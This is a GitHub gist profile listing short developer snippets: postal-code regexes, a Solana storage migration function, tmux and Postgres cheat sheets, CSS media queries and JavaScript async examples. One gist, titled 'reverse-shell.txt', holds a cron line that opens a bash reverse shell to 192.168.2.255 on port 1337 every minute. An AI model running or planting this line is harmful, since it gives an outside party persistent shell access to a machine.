Skip to content

Instantly share code, notes, and snippets.

View bntzio's full-sized avatar

Enrique Benitez bntzio

View GitHub Profile
@bntzio
bntzio / postal-codes.json
Created July 22, 2022 22:25 — forked from jamesbar2/postal-codes.json
Global postal codes regex formats
[{
"Note": "The first two digits (ranging from 10–43) correspond to the province, while the last two digits correspond either to the city/delivery zone (range 01–50) or to the district/delivery zone (range 51–99). Afghanistan Postal code lookup",
"Country": "Afghanistan",
"ISO": "AF",
"Format": "NNNN",
"Regex": "^\\d{4}$"
}, {
"Note": "With Finland, first two numbers are 22.",
"Country": "Åland Islands",
"ISO": "AX",
@bntzio
bntzio / migrate.ts
Created July 12, 2022 01:41
shadow-drive - migrate.ts
import * as anchor from "@project-serum/anchor";
import { findAssociatedTokenAddress, sendAndConfirm } from "../utils/helpers";
import { isBrowser, tokenMint } from "../utils/common";
import { ShadowDriveResponse } from "../types";
/**
*
* @param {anchor.web3.PublicKey} key - PublicKey of a Storage Account
* @returns {ShadowDriveResponse} - Confirmed transaction ID
*/
@bntzio
bntzio / index.js
Created April 2, 2021 08:08 — forked from timneutkens/index.js
Clear console/terminal in node.js the right way
const readline = require('readline')
const blank = '\n'.repeat(process.stdout.rows)
console.log(blank)
readline.cursorTo(process.stdout, 0, 0)
readline.clearScreenDown(process.stdout)
@bntzio
bntzio / tmux.md
Created July 27, 2016 00:57 — forked from andreyvit/tmux.md
tmux cheatsheet

tmux cheat sheet

(C-x means ctrl+x, M-x means alt+x)

Prefix key

The default prefix is C-b. If you (or your muscle memory) prefer C-a, you need to add this to ~/.tmux.conf:

remap prefix to Control + a

@bntzio
bntzio / reverse-shell.txt
Created July 30, 2017 06:14
Just a reverse shell
* * * * * bash -i >& /dev/tcp/192.168.2.255/1337 0>&1
@bntzio
bntzio / media-query.css
Created July 21, 2019 05:41 — forked from gokulkrishh/media-query.css
CSS Media Queries for Desktop, Tablet, Mobile.
/*
##Device = Desktops
##Screen = 1281px to higher resolution desktops
*/
@media (min-width: 1281px) {
//CSS
passwd bntz
osascript -e 'tell application "Finder" to sleep'
@bntzio
bntzio / delay.js
Created November 15, 2018 20:23 — forked from eteeselink/delay.js
ES7 async/await version of setTimeout
const delay = ms => new Promise(resolve => setTimeout(resolve, ms));
async function something() {
console.log("this might take some time....");
await delay(5000);
console.log("done!")
}
something();
@bntzio
bntzio / async-await.js
Created November 15, 2018 04:25 — forked from wesbos/async-await.js
Simple Async/Await Example
// 🔥 Node 7.6 has async/await! Here is a quick run down on how async/await works
const axios = require('axios'); // promised based requests - like fetch()
function getCoffee() {
return new Promise(resolve => {
setTimeout(() => resolve('☕'), 2000); // it takes 2 seconds to make coffee
});
}
@bntzio
bntzio / postgres cheatsheet.md
Created August 27, 2018 23:06 — forked from apolloclark/postgres cheatsheet.md
postgres cheatsheet

Postgres Cheatsheet

This is a collection of the most common commands I run while administering Postgres databases. The variables shown between the open and closed tags, "<" and ">", should be replaced with a name you choose. Postgres has multiple shortcut functions, starting with a forward slash, "". Any SQL command that is not a shortcut, must end with a semicolon, ";". You can use the keyboard UP and DOWN keys to scroll the history of previous commands you've run.

Setup

installation, Ubuntu

http://www.postgresql.org/download/linux/ubuntu/ https://help.ubuntu.com/community/PostgreSQL